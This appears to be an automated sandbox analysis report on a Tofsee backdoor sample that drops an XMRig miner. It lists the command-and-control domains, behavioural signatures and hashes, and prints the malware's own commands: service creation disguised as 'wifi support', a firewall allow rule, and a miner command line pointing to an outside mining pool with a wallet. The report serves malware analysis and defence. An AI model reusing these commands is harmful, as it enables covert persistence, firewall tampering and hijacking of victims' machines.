Analysis

  • max time kernel
    144s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/12/2022, 02:53

General

  • Target
    file.exe
  • Size 191KB
  • Sample221202-ddb5tsba2t
  • SHA256 c2bb35d36cbf438f3c2013a83115b783db85c04f3bc237f3798e884b8ebdff23
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\detwzsqs\
      2⤵
        PID:3260
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ixlibhdg.exe" C:\Windows\SysWOW64\detwzsqs\
        2⤵
          PID:4912
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create detwzsqs binPath= "C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description detwzsqs "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3604
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start detwzsqs
          2⤵
          • Launches sc.exe
          PID:2000
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1436
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 1192
          2⤵
          • Program crash
          PID:2552
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2764 -ip 2764
        1⤵
          PID:3456
        • C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe
          C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1632
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:524
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2116
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1632 -s 532
            2⤵
            • Program crash
            PID:2308
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 1632 -ip 1632
          1⤵
            PID:1772

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                ixlibhdg.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ixlibhdg.exe
                • Size 13.1MB
                • SHA256 75f204cdaf0819c83d0eda5f69c90e84870e6f425c8d4883cd9b5e5b5e74910c
                • MD5 SHA1 SHA512 SSDEEP

                ixlibhdg.exe

                • Path C:\Windows\SysWOW64\detwzsqs\ixlibhdg.exe
                • Size 13.1MB
                • SHA256 75f204cdaf0819c83d0eda5f69c90e84870e6f425c8d4883cd9b5e5b5e74910c
                • MD5 SHA1 SHA512 SSDEEP

                memory/524-157-0x00000000011F0000-0x00000000011F6000-memory.dmp

                memory/524-153-0x0000000001020000-0x0000000001035000-memory.dmp

                memory/524-169-0x00000000031D0000-0x00000000031D7000-memory.dmp

                memory/524-166-0x0000000007C00000-0x000000000800B000-memory.dmp

                memory/524-163-0x00000000023F0000-0x00000000023F5000-memory.dmp

                memory/524-147-0x0000000001020000-0x0000000001035000-memory.dmp

                memory/524-152-0x0000000001020000-0x0000000001035000-memory.dmp

                memory/524-160-0x00000000023A0000-0x00000000023B0000-memory.dmp

                memory/524-154-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/1632-151-0x0000000000400000-0x0000000000466000-memory.dmp

                memory/1632-150-0x0000000000803000-0x0000000000813000-memory.dmp

                memory/2116-173-0x0000000000EF0000-0x0000000000FE1000-memory.dmp

                memory/2116-178-0x0000000000EF0000-0x0000000000FE1000-memory.dmp

                memory/2764-145-0x0000000000400000-0x0000000000466000-memory.dmp

                memory/2764-144-0x0000000002070000-0x0000000002083000-memory.dmp

                memory/2764-143-0x00000000005E9000-0x00000000005FA000-memory.dmp

                memory/2764-132-0x00000000005E9000-0x00000000005FA000-memory.dmp

                memory/2764-133-0x0000000002070000-0x0000000002083000-memory.dmp

                memory/2764-134-0x0000000000400000-0x0000000000466000-memory.dmp